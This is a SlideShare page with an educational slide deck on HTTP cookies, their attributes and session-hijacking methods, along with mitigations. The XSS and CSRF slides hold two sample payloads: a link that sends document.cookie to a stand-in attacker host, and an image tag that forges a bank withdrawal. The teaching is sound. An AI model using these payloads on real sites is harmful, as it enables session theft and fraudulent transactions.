SlideShare a Scribd company logo
1 of 56
Download to read offline
Who is Afraid of Cookies?

        by Asaf Gery
    Email: asaf.gery@gmail.com
      Phone: +972-4-9995014
     Mobile: +972-54-2215733
Outline
●   Introduction
●   Innocent Uses of Cookies
●   Cookies Mechanism
●   Not So Innocent Uses of Cookies
●   Malicious Uses of Cookies and Defense
    Techniques

                   (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Introduction
What is a Cookie?
●   Cookie is data stored by the browser on
    behalf of a web server
●   A browser sends Cookies with every
    request to the corresponding web server*




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Innocent Uses of Cookies
Innocent Uses of Cookies
●   Personalization
●   Navigation
●   Shopping Carts
●   Google Analytics
●   Facebook Connect
●   etc.
                 (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Cookies Mechanism
Cookies Under the Hood
●   Cookies are set by a web server using an
    HTTP Header or by a browser using
    JavaScript
●   In order to understand the mechanism,
    we should have a basic understanding of
    HTTP – Hyper Text Transfer Protocol


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP
●   Hyper Text Transfer Protocol specifies
    the communication between Browsers
    and Web Servers
●   HTTP is request – response oriented




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Sequence
Web Browser                                           Web Server

              HTTP Request I
              HTTP Response I
              HTTP Request II
              HTTP Response II
          (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Sequence Example
●   In the following slides pay attention to the
    following HTTP Headers: Referer, Set-
    Cookie and Cookie




                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Request I
GET /wiki/Main_Page HTTP/1.1
Host: en.gentoo-wiki.com
Referer: http://en.gentoo-
wiki.com/wiki/Framebuffer




             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Response I
HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 02 Sep 2010 17:55:00
GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32533
Date: Mon, 27 Dec 2010 18:34:34 GMT
Set-Cookie:
show_side_bar=true;Expires=Thu, 22-
Mar-2011 18:35:38 GMT
             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Request II
GET /img/wiki_g.png HTTP/1.1
Host: en.gentoo-wiki.com
Referer: http://en.gentoo-
wiki.com/wiki/Main_Page
Cookie: show_side_bar=true


             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Third Party Cookies
●   Cookies are supposed to be used
    between browsers and web servers -
     st     nd
    1 and 2 Parties
●   Web pages embed files (videos, flash,
                                rd
    images, css, scripts) from 3 party sites
    such as ad. Networks, Google Analytics
    etc.


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Not So Innocent Uses of
        Cookies
Not So Innocent Uses of
            Cookies
●   Tracking user's web surfing habits
●   Creating user profile by analyzing visited
    websites




                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Cookie Attributes
Cookie Attributes
●   By setting Cookie attributes a Web
    Server instructs browsers under which
    conditions should that Cookie be sent by
    browsers and how long should it be kept
    in the browser's cache (memory and hard
    disk)


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Domain Attribute
●   Domain attribute instructs the browser
    when to send that Cookie (with which
    URLs)
●   Format: Domain=<domain-spec>; where
    <domain-spec> has the same format of
    Google's advanced search
●   More dots (.) means that the Cookie will
    be associated with less URLs
               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Domain Attribute
●   Examples:
    Set-Cookie: ...;Domain=.gery.co.il;... -
    this Cookie will be sent with every URL
    whose host name ends with .gery.co.il
    Set-Cookie: ...
    ;Domain=mail.gery.co.il;... - this Cookie
    will be sent only to URLs whose host
    name is precisely mail.gery.co.il
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Path Attribute
●   Path attribute compliments Domain
    attribute
●   Format: Path=<path-spec> where
    <path-spec> is Unix style – with forward
    slashes (/)
●   More slashes means that the Cookie will
    be associated with less URLs

               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Path Attribute
●   Examples:
    Set-Cookie: ...;Path=/;... - this Cookie will
    be sent with every URL that matches the
    domain spec (if any), meaning – every
    path
    Set-Cookie: ... ;Path=/accounts/a/as/;...
    - this Cookie will be sent only to URLs
    whose path starts with /accounts/a/as/
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Expires and Max-Age
●   Expires specifies Cookie's expiration
    time in terms of date and and time
           (e.g. Expires=Tue, 22-Mar-2011
    22:00:00 GMT; )
●   Max-Age specifies Cookie's expiration
    time in terms of secs. from now (e.g.
    Max-Age: 3600; - keep the Cookie for
    one hour)

               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Persistent Cookies
●   Persistent Cookies are Cookies which
    have expiration time in the future and
    therefore are stored in the browser's
    cache (i.e. on the hard disk)
●   Expiration is set using either Expires or
    Max-Age attribute



                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Cookies
●   Cookie whose expiration date or max age
    is not specified is called Session Cookie
●   Session Cookies are usually stored on
    the RAM and deleted as soon as the
    browser is closed
●   The problem: HTTP does not define the
    life time of an HTTP Session, since it
    was originally designed as a session-less
    protocol
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Secure and HttpOnly
●   Secure and HttpOnly attributes allow
    better security when using cookies:
    – Secure   specifies a Cookie that will be
      transferred only via an encrypted
      channel (HTTPS)
    – HttpOnly specifies a Cookie that will
      not be accessible from Javascript code
      on the browser side
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Malicious Uses of Cookies
Session Hijacking
●   Web sites use Cookies to identify user
    sessions
●   By stealing those identity session
    Cookies an attacker can impersonate the
    victim
●   Web servers have no way telling the
    difference between a real user and an
    attacker
               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking Methods
●   Various methods can be used for session
    hijacking:
    – NetworkEavesdropping
    – DNS Cache Poisoning
    – XSS
    – CSRF


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using Network Eavesdropping
Network Eavesdropping
●   Traffic on a network can be intercepted
    and read by computers other than its
    sender and its receiver (particularly over
    unencrypted open Wi-Fi network)
●   FireSheep is an example of using this
    technique


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Network Eavesdropping
●   Tools such as tcpdump and WireShark
    can be used to capture traffic on a
    network
●   This attack can be easily mitigated by
    using HTTPS and Secure Cookies
    exclusively


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using DNS Cache Poisoning
DNS Cache Poisoning
●   CheckPoint's movie
●   DNS Cache Poisoning is a more
    sophisticated attack that takes advantage
    of the fact that identity session Cookies
    are usually set in the domain scope



               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
1.A server that is controlled by an attacker
  pretends to be a member of a domain
  whose Cookies are to be stolen (e.g.
  bogus.facebook.com) by poisoning the
  DNS Cache of the victim



              (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
2.A web page created by the attacker
  which resides on a different server,
  contains a reference to the bogus server
  (using an image, css, script, flash, etc)




             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
3.The victim's browser intercepts that
  server as a member of the impersonated
  domain (facebook.com in our example)
  and therefore sends the session cookies
  with the HTTP request for the image



             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
4.Now the attacker has the victim's session
  cookies and he/she can use them to
  impersonate the victim and act on behalf
  of the victim
●   Sometimes, the action can be encoded in
    the URL of the bogus image, in that case
    the browser's attempt to load the image
    will trigger the action automatically
               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
●   This attack can be dramatically mitigated
    by using HTTPS and Secure Cookies
    exclusively
●   HTTPS requires certificate
●   Wrong certificate -> browser's warning



               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using Cross Site Scripting
XSS - Cross Site Scripting
●   XSS is a code injection attack
●   An attacker injects JavaScript code into a
    website
●   The browser cannot tell the difference
    between an injected code and a genuine
    code


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
XSS - Cross Site Scripting
●   Using XSS an attacker can steal the
    victim's Cookies
●   Example: <a href="#"
    onclick="window.location='http://atck.com
    /stole.cgi?c='+escape(document.cookie);
    return false;">Click here!</a>


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using Cross Site Request
        Forgery
CSRF - Cross Site Request
        Forgery
●   CSRF exploits the trust that a web site
    has in a user's browser
●   In this attack a malicious web site
    “manipulates” the browser to execute an
    action on a victim web site by loading a
    specially crafted image*
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
CSRF - Cross Site Request
        Forgery
●   Example (very simplified): <img
    src="http://yourbank.com/withdraw?
    account=david&amount=9000000&for=m
    oshe">



             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
CSRF - Cross Site Request
        Forgery
●   Prevention is not trivial!




                 (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Samy Worm
XSS/CSRF – Samy Worm
●   On October 4, 2005, Samy Kamkar
    released a worm on MySpace that used
    a combination of XSS and CSRF attacks
●   The worm displayed "but most of all,
    Samy is my hero" on victims' profiles
●   Within 20 hours, over one million profiles
    were infected
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
For Further Reading
HTTP
●   RFC 1945 – HTTP 1.0 (May 1996)
●   RFC 2068 – HTTP 1.1 (January 1997)
●   RFC 2616 – HTTP 1.1 (June 1999,
    obsoleted RFC 2068)
●   All RFCs can be found here -
    http://www.ietf.org/rfc.html


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Wikipedia
●   HTTP Cookie -
    https://secure.wikimedia.org/wikipedia/en
    /wiki/HTTP_cookie




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Netscape Cookie
           Specification
●   Netscape's original Cookie specification
    (June, 1994) -
    http://curl.haxx.se/rfc/cookie_spec.html




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Cookies RFCs
●   RFC 2109 – HTTP State Management
    Mechanism (February 1997)
●   RFC 2965 – HTTP State Management
    Mechanism (October 2000, obsoleted
    RFC 2109)
●   All RFCs can be found here -
    http://www.ietf.org/rfc.html

               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Samy Worm
●   Samy's own story -
    http://namb.la/popular/
●   Technical details and the source code -
    http://namb.la/popular/tech.html




                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Thank You

More Related Content

Similar to Who is Afraid of Cookies?

Overview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al MehrabOverview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al MehrabCefalo
 
Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessionsSukrit Gupta
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocationmatthewjames95
 
High Performance Ajax Applications
High Performance Ajax ApplicationsHigh Performance Ajax Applications
High Performance Ajax ApplicationsSiarhei Barysiuk
 
Weird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingWeird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingRoel Palmaers
 
Javascript issues and tools in production for developers
Javascript issues and tools in production for developersJavascript issues and tools in production for developers
Javascript issues and tools in production for developersMichael Haberman
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocationmatthewjames95
 
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018Amazon Web Services
 
Analysis of Google Page Speed Insight
Analysis of Google Page Speed InsightAnalysis of Google Page Speed Insight
Analysis of Google Page Speed InsightSarvesh Sonawane
 
Browser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security PolicyBrowser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security PolicyGeorge Boobyer
 
07 cookies
07 cookies07 cookies
07 cookiessnopteck
 
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps FasterPractical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps FasterDoris Chen
 
Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...OutSystems
 
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio LopesHTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio LopesCaelum
 
Less and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developersLess and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developersSeravo
 
Client Side Performance @ Xero
Client Side Performance @ XeroClient Side Performance @ Xero
Client Side Performance @ XeroCraig Walker
 
HTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrushHTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrushTake It Offline
 
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy VealHttps Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy VealGerry White
 

Similar to Who is Afraid of Cookies? (20)

Overview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al MehrabOverview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al Mehrab
 
Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessions
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocation
 
High Performance Ajax Applications
High Performance Ajax ApplicationsHigh Performance Ajax Applications
High Performance Ajax Applications
 
Weird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingWeird new tricks for browser fingerprinting
Weird new tricks for browser fingerprinting
 
Javascript issues and tools in production for developers
Javascript issues and tools in production for developersJavascript issues and tools in production for developers
Javascript issues and tools in production for developers
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocation
 
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
 
Analysis of Google Page Speed Insight
Analysis of Google Page Speed InsightAnalysis of Google Page Speed Insight
Analysis of Google Page Speed Insight
 
Browser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security PolicyBrowser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security Policy
 
07 cookies
07 cookies07 cookies
07 cookies
 
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps FasterPractical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
 
Sessions and cookies
Sessions and cookiesSessions and cookies
Sessions and cookies
 
Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...
 
Cookies
CookiesCookies
Cookies
 
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio LopesHTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
 
Less and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developersLess and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developers
 
Client Side Performance @ Xero
Client Side Performance @ XeroClient Side Performance @ Xero
Client Side Performance @ Xero
 
HTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrushHTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrush
 
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy VealHttps Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
 

Who is Afraid of Cookies?

  • 1. Who is Afraid of Cookies? by Asaf Gery Email: asaf.gery@gmail.com Phone: +972-4-9995014 Mobile: +972-54-2215733
  • 2. Outline ● Introduction ● Innocent Uses of Cookies ● Cookies Mechanism ● Not So Innocent Uses of Cookies ● Malicious Uses of Cookies and Defense Techniques (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 4. What is a Cookie? ● Cookie is data stored by the browser on behalf of a web server ● A browser sends Cookies with every request to the corresponding web server* (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 6. Innocent Uses of Cookies ● Personalization ● Navigation ● Shopping Carts ● Google Analytics ● Facebook Connect ● etc. (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 8. Cookies Under the Hood ● Cookies are set by a web server using an HTTP Header or by a browser using JavaScript ● In order to understand the mechanism, we should have a basic understanding of HTTP – Hyper Text Transfer Protocol (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 9. HTTP ● Hyper Text Transfer Protocol specifies the communication between Browsers and Web Servers ● HTTP is request – response oriented (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 10. HTTP Sequence Web Browser Web Server HTTP Request I HTTP Response I HTTP Request II HTTP Response II (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 11. HTTP Sequence Example ● In the following slides pay attention to the following HTTP Headers: Referer, Set- Cookie and Cookie (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 12. HTTP Request I GET /wiki/Main_Page HTTP/1.1 Host: en.gentoo-wiki.com Referer: http://en.gentoo- wiki.com/wiki/Framebuffer (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 13. HTTP Response I HTTP/1.1 200 OK Server: Apache Last-Modified: Thu, 02 Sep 2010 17:55:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 32533 Date: Mon, 27 Dec 2010 18:34:34 GMT Set-Cookie: show_side_bar=true;Expires=Thu, 22- Mar-2011 18:35:38 GMT (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 14. HTTP Request II GET /img/wiki_g.png HTTP/1.1 Host: en.gentoo-wiki.com Referer: http://en.gentoo- wiki.com/wiki/Main_Page Cookie: show_side_bar=true (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 15. Third Party Cookies ● Cookies are supposed to be used between browsers and web servers - st nd 1 and 2 Parties ● Web pages embed files (videos, flash, rd images, css, scripts) from 3 party sites such as ad. Networks, Google Analytics etc. (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 16. Not So Innocent Uses of Cookies
  • 17. Not So Innocent Uses of Cookies ● Tracking user's web surfing habits ● Creating user profile by analyzing visited websites (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 19. Cookie Attributes ● By setting Cookie attributes a Web Server instructs browsers under which conditions should that Cookie be sent by browsers and how long should it be kept in the browser's cache (memory and hard disk) (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 20. Domain Attribute ● Domain attribute instructs the browser when to send that Cookie (with which URLs) ● Format: Domain=<domain-spec>; where <domain-spec> has the same format of Google's advanced search ● More dots (.) means that the Cookie will be associated with less URLs (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 21. Domain Attribute ● Examples: Set-Cookie: ...;Domain=.gery.co.il;... - this Cookie will be sent with every URL whose host name ends with .gery.co.il Set-Cookie: ... ;Domain=mail.gery.co.il;... - this Cookie will be sent only to URLs whose host name is precisely mail.gery.co.il (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 22. Path Attribute ● Path attribute compliments Domain attribute ● Format: Path=<path-spec> where <path-spec> is Unix style – with forward slashes (/) ● More slashes means that the Cookie will be associated with less URLs (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 23. Path Attribute ● Examples: Set-Cookie: ...;Path=/;... - this Cookie will be sent with every URL that matches the domain spec (if any), meaning – every path Set-Cookie: ... ;Path=/accounts/a/as/;... - this Cookie will be sent only to URLs whose path starts with /accounts/a/as/ (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 24. Expires and Max-Age ● Expires specifies Cookie's expiration time in terms of date and and time (e.g. Expires=Tue, 22-Mar-2011 22:00:00 GMT; ) ● Max-Age specifies Cookie's expiration time in terms of secs. from now (e.g. Max-Age: 3600; - keep the Cookie for one hour) (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 25. Persistent Cookies ● Persistent Cookies are Cookies which have expiration time in the future and therefore are stored in the browser's cache (i.e. on the hard disk) ● Expiration is set using either Expires or Max-Age attribute (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 26. Session Cookies ● Cookie whose expiration date or max age is not specified is called Session Cookie ● Session Cookies are usually stored on the RAM and deleted as soon as the browser is closed ● The problem: HTTP does not define the life time of an HTTP Session, since it was originally designed as a session-less protocol (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 27. Secure and HttpOnly ● Secure and HttpOnly attributes allow better security when using cookies: – Secure specifies a Cookie that will be transferred only via an encrypted channel (HTTPS) – HttpOnly specifies a Cookie that will not be accessible from Javascript code on the browser side (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 28. Malicious Uses of Cookies
  • 29. Session Hijacking ● Web sites use Cookies to identify user sessions ● By stealing those identity session Cookies an attacker can impersonate the victim ● Web servers have no way telling the difference between a real user and an attacker (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 30. Session Hijacking Methods ● Various methods can be used for session hijacking: – NetworkEavesdropping – DNS Cache Poisoning – XSS – CSRF (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 32. Network Eavesdropping ● Traffic on a network can be intercepted and read by computers other than its sender and its receiver (particularly over unencrypted open Wi-Fi network) ● FireSheep is an example of using this technique (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 33. Network Eavesdropping ● Tools such as tcpdump and WireShark can be used to capture traffic on a network ● This attack can be easily mitigated by using HTTPS and Secure Cookies exclusively (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 34. Session Hijacking Using DNS Cache Poisoning
  • 35. DNS Cache Poisoning ● CheckPoint's movie ● DNS Cache Poisoning is a more sophisticated attack that takes advantage of the fact that identity session Cookies are usually set in the domain scope (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 36. DNS Cache Poisoning 1.A server that is controlled by an attacker pretends to be a member of a domain whose Cookies are to be stolen (e.g. bogus.facebook.com) by poisoning the DNS Cache of the victim (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 37. DNS Cache Poisoning 2.A web page created by the attacker which resides on a different server, contains a reference to the bogus server (using an image, css, script, flash, etc) (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 38. DNS Cache Poisoning 3.The victim's browser intercepts that server as a member of the impersonated domain (facebook.com in our example) and therefore sends the session cookies with the HTTP request for the image (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 39. DNS Cache Poisoning 4.Now the attacker has the victim's session cookies and he/she can use them to impersonate the victim and act on behalf of the victim ● Sometimes, the action can be encoded in the URL of the bogus image, in that case the browser's attempt to load the image will trigger the action automatically (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 40. DNS Cache Poisoning ● This attack can be dramatically mitigated by using HTTPS and Secure Cookies exclusively ● HTTPS requires certificate ● Wrong certificate -> browser's warning (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 42. XSS - Cross Site Scripting ● XSS is a code injection attack ● An attacker injects JavaScript code into a website ● The browser cannot tell the difference between an injected code and a genuine code (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 43. XSS - Cross Site Scripting ● Using XSS an attacker can steal the victim's Cookies ● Example: <a href="#" onclick="window.location='http://atck.com /stole.cgi?c='+escape(document.cookie); return false;">Click here!</a> (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 44. Session Hijacking Using Cross Site Request Forgery
  • 45. CSRF - Cross Site Request Forgery ● CSRF exploits the trust that a web site has in a user's browser ● In this attack a malicious web site “manipulates” the browser to execute an action on a victim web site by loading a specially crafted image* (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 46. CSRF - Cross Site Request Forgery ● Example (very simplified): <img src="http://yourbank.com/withdraw? account=david&amount=9000000&for=m oshe"> (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 47. CSRF - Cross Site Request Forgery ● Prevention is not trivial! (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 49. XSS/CSRF – Samy Worm ● On October 4, 2005, Samy Kamkar released a worm on MySpace that used a combination of XSS and CSRF attacks ● The worm displayed "but most of all, Samy is my hero" on victims' profiles ● Within 20 hours, over one million profiles were infected (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 51. HTTP ● RFC 1945 – HTTP 1.0 (May 1996) ● RFC 2068 – HTTP 1.1 (January 1997) ● RFC 2616 – HTTP 1.1 (June 1999, obsoleted RFC 2068) ● All RFCs can be found here - http://www.ietf.org/rfc.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 52. Wikipedia ● HTTP Cookie - https://secure.wikimedia.org/wikipedia/en /wiki/HTTP_cookie (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 53. Netscape Cookie Specification ● Netscape's original Cookie specification (June, 1994) - http://curl.haxx.se/rfc/cookie_spec.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 54. Cookies RFCs ● RFC 2109 – HTTP State Management Mechanism (February 1997) ● RFC 2965 – HTTP State Management Mechanism (October 2000, obsoleted RFC 2109) ● All RFCs can be found here - http://www.ietf.org/rfc.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 55. Samy Worm ● Samy's own story - http://namb.la/popular/ ● Technical details and the source code - http://namb.la/popular/tech.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)